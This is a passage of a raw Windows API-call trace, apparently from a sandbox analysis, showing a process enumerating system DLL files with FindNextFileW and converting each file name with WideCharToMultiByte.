lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0193.992] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7821a163, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7821a163, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="apilogen.dll", cAlternateFileName="")) returned 1 [0193.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APILOGEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0193.993] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1f2f92c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc1f2f92c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="apircl.dll", cAlternateFileName="")) returned 1 [0193.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0xd3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APIRCL.DLL", lpUsedDefaultChar=0x0) returned 10 [0193.993] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de74afe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2de74afe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf261dbf0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="apisetschema.dll", cAlternateFileName="")) returned 1 [0193.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0xd3c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APISETSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 16 [0193.993] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92c3856c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92c3856c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c5e6cc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x48400, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="apphelp.dll", cAlternateFileName="")) returned 1 [0193.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0xd3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0193.993] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4c40da, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7a4c40da, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="Apphlpdm.dll", cAlternateFileName="")) returned 1 [0193.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHLPDM.DLL", lpUsedDefaultChar=0x0) returned 12 [0193.993] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc6b7842, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xcc6b7842, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e608600, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="appidapi.dll", cAlternateFileName="")) returned 1 [0193.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDAPI.DLL", lpUsedDefaultChar=0x0) returned 12 [0193.993] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29cc968, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd29cc968, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e6540f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31a00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="AppIdPolicyEngineApi.dll", cAlternateFileName="")) returned 1 [0193.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0193.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0xd3c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDPOLICYENGINEAPI.DLL", lpUsedDefaultChar=0x0) returned 24 [0193.993] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98006f9, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x98006f9, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e6c6ce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="appmgmts.dll", cAlternateFileName="")) returned 1 [0193.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGMTS.DLL", lpUsedDefaultChar=0x0) returned 12 [0193.994] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c14fdd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c14fdd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c6129e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53000, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="appmgr.dll", cAlternateFileName="")) returned 1 [0193.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0xd3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGR.DLL", lpUsedDefaultChar=0x0) returned 10 [0193.994] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc81f8794, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc81f8794, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e6eb6d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="apss.dll", cAlternateFileName="")) returned 1 [0193.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0xd3c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APSS.DLL", lpUsedDefaultChar=0x0) returned 8 [0193.994] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c9efbc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x31c9efbc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf2a6d430, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="asferror.dll", cAlternateFileName="")) returned 1 [0193.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASFERROR.DLL", lpUsedDefaultChar=0x0) returned 12 [0193.994] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57090500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="aspnet_counters.dll", cAlternateFileName="")) returned 1 [0193.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0193.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0xd3c288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASPNET_COUNTERS.DLL", lpUsedDefaultChar=0x0) returned 19 [0193.994] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e661b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e661b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e661b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="asycfilt.dll", cAlternateFileName="")) returned 1 [0193.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASYCFILT.DLL", lpUsedDefaultChar=0x0) returned 12 [0193.994] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2b74b, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x2d2b74b, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x805466c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="atl.dll", cAlternateFileName="")) returned 1 [0193.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0xd3c288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL.DLL", lpUsedDefaultChar=0x0) returned 7 [0193.994] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0b4600, ftCreationTime.dwHighDateTime=0x1cc2787, ftLastAccessTime.dwLowDateTime=0xcc438260, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x4b0b4600, ftLastWriteTime.dwHighDateTime=0x1cc2787, nFileSizeHigh=0x0, nFileSizeLow=0x21b48, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0193.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0xd3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL100.DLL", lpUsedDefaultChar=0x0) returned 10 [0193.995] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29b8ce00, ftCreationTime.dwHighDateTime=0x1ce64f7, ftLastAccessTime.dwLowDateTime=0xef797c80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x29b8ce00, ftLastWriteTime.dwHighDateTime=0x1ce64f7, nFileSizeHigh=0x0, nFileSizeLow=0x28248, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="atl110.dll", cAlternateFileName="")) returned 1 [0193.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0xd3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL110.DLL", lpUsedDefaultChar=0x0) returned 10 [0193.995] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9363019e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9363019e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47e00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="atmfd.dll", cAlternateFileName="")) returned 1 [0193.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0xd3c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMFD.DLL", lpUsedDefaultChar=0x0) returned 9 [0193.995] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9360a03e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9360a03e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9363019e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="atmlib.dll", cAlternateFileName="")) returned 1 [0193.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0xd3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMLIB.DLL", lpUsedDefaultChar=0x0) returned 10 [0193.995] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4204ec3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4204ec3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4204ec3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3b800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="audiodev.dll", cAlternateFileName="")) returned 1 [0193.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIODEV.DLL", lpUsedDefaultChar=0x0) returned 12 [0193.995] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78f79a81, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78f79a81, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80675280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5b800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="AudioEng.dll", cAlternateFileName="")) returned 1 [0193.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOENG.DLL", lpUsedDefaultChar=0x0) returned 12 [0193.995] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce47270e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xce47270e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xad59f9a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6c200, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="AUDIOKSE.dll", cAlternateFileName="")) returned 1 [0193.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOKSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0193.995] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87266eb6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87266eb6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87266eb6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2fc00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="AudioSes.dll", cAlternateFileName="")) returned 1 [0193.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOSES.DLL", lpUsedDefaultChar=0x0) returned 12 [0193.996] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ceb7bb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x68ceb7bb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35000, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="AuditNativeSnapIn.dll", cAlternateFileName="")) returned 1 [0193.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0193.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, 